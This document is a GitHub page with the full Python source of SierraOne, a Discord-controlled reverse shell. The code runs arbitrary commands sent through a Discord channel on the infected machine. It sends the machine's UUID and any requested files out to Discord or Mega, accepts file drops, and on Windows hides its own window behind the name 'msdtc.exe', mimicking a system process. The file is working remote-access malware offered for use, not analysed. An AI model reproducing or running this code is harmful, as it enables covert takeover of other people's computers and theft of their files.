-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathSierraOne.py
executable file
·354 lines (248 loc) · 10.2 KB
/
SierraOne.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
#!/usr/bin/env python3
import io
import os
import platform
import subprocess
import sys
import discord
from discord.ext import commands
from mega import Mega
import config
TEXT_SIZE_MAX = 1992
CHUNKED_TEXT_SIZE_MAX = 4 * TEXT_SIZE_MAX
TEXT_CHUNK_SIZE = TEXT_SIZE_MAX
FILE_SIZE_MAX = 7864320
CHUNKED_FILE_SIZE_MAX = 4 * FILE_SIZE_MAX
MEGA_SIZE_MAX = 110100480
bot = commands.Bot(command_prefix=".")
channel = None
@bot.event
async def on_ready():
global channel
# Get server name
guild = bot.get_guild(server_id)
# Create 'SierraOne' category
category = await create_category(guild)
# Get a list of the text channels in the server
channels = guild.text_channels
# Create 'sierra-hotel-'
channel = await create_channel(category, channels)
# Get the machine info
info = await machine_info()
# Send the machine info to 'sierra-hotel-'
# Remove 'embed=info' if you want to use the alternative
send_info = await channel.send(embed=info)
# Pin the machine info to 'sierra-hotel-'
await send_info.pin()
if config.mega_email == "" and config.mega_password == "":
await channel.send(
"**WARNING**\nMega credentials were not found. "
"All your uploads larger than 7.5 MB will be "
"split into chunks and uploaded over Discord.")
else:
await channel.send(
"Mega credentials found. All your uploads larger "
"than 7.5 MB will be uploaded to Mega.")
# Create 'SierraOne' category
async def create_category(guild):
category = discord.utils.get(guild.categories, name=category_prefix)
if not category:
category = await guild.create_category(category_prefix)
return category
# Create 'sierra-hotel-'
async def create_channel(category, channels):
shell_number = await next_channel(channels)
return await category.create_text_channel(channel_prefix + str(shell_number))
# Numerate 'sierra-hotel-'
async def next_channel(channels):
numbers = []
shell_number = 0
try:
for channel in channels:
name = channel.name
if channel_prefix in name:
channel_number = name.split("-")[2]
if channel_number.isdigit():
numbers.append(int(channel_number))
shell_number = max(numbers) + 1
except ValueError:
shell_number = shell_number + 1
return shell_number
# Get the machine info
async def machine_info():
# Fix possible unbound
machine_UUID = ""
if platform.system() == "Windows":
get_UUID = str(subprocess.check_output(
"wmic csproduct get UUID").decode().strip())
for line in get_UUID:
UUID = " ".join(get_UUID.split())
machine_UUID = UUID[5:]
elif platform.system() == "Linux":
machine_UUID = str(subprocess.check_output(
["cat", "/etc/machine-id"]).decode().strip())
elif platform.system() == "Darwin":
machine_UUID = str(subprocess.check_output(["ioreg",
"-d2",
"-c",
"IOPlatformExpertDevice",
"|",
"awk",
"-F",
"'/IOPlatformUUID/{print $(NF-1)}'"]))
else:
machine_UUID = str("Unknown")
embedded = discord.Embed(title="Machine Info", type="rich")
embedded.add_field(name="Operating System", value=platform.system())
embedded.add_field(name="UUID", value=machine_UUID)
# Non-embed alternative
# message = f"`{platform.system()}` with the `{machine_UUID}` UUID connected."
return embedded
@bot.event
async def on_message(message):
if message.author.id != bot.user.id:
await shell_input(message)
# Helper function for upload, uploads given file name to Mega
async def mega_upload(filename):
await channel.send(f"Uploading `{filename}` to Mega, standby...")
mega_upload = mega_nz.upload(filename)
mega_link = mega_nz.get_upload_link(mega_upload)
await channel.send(f"Mega link of uploaded file: {mega_link}")
# Uploads given file in chunks
# The file size should be checked before the function call
async def upload_chunks(filename):
await channel.send("Splitting your file and uploading the parts, "
"standby...")
with open(filename, "rb") as file:
chunk = file.read(FILE_SIZE_MAX)
i = 1
while chunk:
uploadname = f"{filename}-{i}"
await channel.send(f"Uploading part `{i}` of the file as "
f"`{uploadname}`, standby...")
await channel.send(file=discord.File(io.BytesIO(chunk),
filename=uploadname))
chunk = file.read(FILE_SIZE_MAX)
i += 1
async def upload(filename):
hasMegaKey = config.mega_email != "" and config.mega_password != ""
filesize = 0
try:
filesize = os.path.getsize(filename)
except FileNotFoundError:
await channel.send("File not found.")
return
# If the user has Mega key, and the filesize is less then
# mega_size_max, then upload the file to Mega
if hasMegaKey and filesize <= MEGA_SIZE_MAX and filesize > FILE_SIZE_MAX:
await mega_upload(filename)
else:
if filesize <= FILE_SIZE_MAX:
await channel.send(f"Uploading `{filename}`, standby...")
await channel.send(file=discord.File(filename))
# If filesize is bigger then 7.5 MB, and less then or equal to
# 4*(7.5 MB), upload file chunk by chunk (max 4 chunks)
elif FILE_SIZE_MAX < filesize <= CHUNKED_FILE_SIZE_MAX:
await upload_chunks(filename)
else:
await channel.send("File is too big.")
async def download(message, file):
await message.attachments[0].save(f"{file}")
async def upload_chunks_from_memory(data):
await channel.send("Splitting output and uploading chunks as "
"files, standby...")
data = [data[i:i + FILE_SIZE_MAX]
for i in range(0, len(data), FILE_SIZE_MAX)]
i = 1
for chunk in data:
uploadname = f"output-{i}.txt"
await channel.send(f"Uploading part `{i}` of the output as "
f"`{uploadname}`, standby...")
await channel.send(file=discord.File(io.BytesIO(chunk),
filename=uploadname))
async def upload_from_memory(data, n):
if n <= FILE_SIZE_MAX:
filename = "output.txt"
await channel.send("Output is too large. As a result, "
f"your output will be sent as `{filename}`.")
await channel.send(file=discord.File(io.BytesIO(data),
filename=filename))
elif n <= CHUNKED_FILE_SIZE_MAX:
await upload_chunks_from_memory(data)
async def handle_user_input(content):
user_input = ""
try:
user_input = os.popen(content).read()
except:
await channel.send("Error reading command output.")
return
if user_input == "":
await channel.send("The command did not return anything.")
return
paginator = discord.ext.commands.Paginator(prefix="```",
suffix="```")
output_length = len(user_input)
if '`' in user_input:
await channel.send("Output contains an illegal character. As"
"a result, the output will be sent as file.")
await upload_from_memory(user_input.encode("utf-8", "ignore"),
output_length)
return
if 0 < output_length <= CHUNKED_TEXT_SIZE_MAX:
user_input = [user_input[i:i+TEXT_SIZE_MAX]
for i in range(0, output_length, TEXT_SIZE_MAX)]
for page in user_input:
paginator.add_line(page)
for page in paginator.pages:
await channel.send(f"{page}")
elif CHUNKED_TEXT_SIZE_MAX < output_length <= CHUNKED_FILE_SIZE_MAX:
await upload_from_memory(user_input.encode("utf-8", "ignore"),
output_length)
elif output_length > CHUNKED_FILE_SIZE_MAX:
await channel.send("Output size is too big. If you are "
"trying to read a file, try uploading it.")
else:
await channel.send("Unknown error.")
async def shell_input(message):
# Checks if the message was sent to 'sierra-hotel-'
if message.channel != channel:
return
# Check if the message content starts with "upload"
if message.content.startswith("upload"):
await upload(message.content.split(" ")[1])
if message.content.startswith("download"):
await download(message, message.attachments[0].filename)
elif message.content.startswith("cd"):
# Change directories
os.chdir(message.content.split(" ")[1])
# Notify the user of the directory change
await channel.send("`cd` complete.")
# Check if the message content starts with "shell_exit"
elif message.content.startswith("shell_exit"):
# Close the shell
sys.exit(0)
# Check if the message content starts with "shell_delete"
elif message.content.startswith("shell_delete"):
# Delete the channel that the command was invoked in
await channel.delete()
# Close the shell
sys.exit(0)
else:
await handle_user_input(message.content)
if platform.system() == "Windows":
import win32gui
import win32.lib.win32con as win32con
foreground_window = win32gui.GetForegroundWindow()
window_title = win32gui.GetWindowText(foreground_window)
if window_title.endswith("msdtc.exe"):
win32gui.ShowWindow(foreground_window, win32con.SW_HIDE)
# Server ID
server_id = config.server_id
# Category prefix
category_prefix = config.category_prefix
# Channel prefix
channel_prefix = config.channel_prefix
if config.mega_email != "" and config.mega_password != "":
mega = Mega()
mega_nz = mega.login(config.mega_email, config.mega_password)
bot.run(config.bot_token)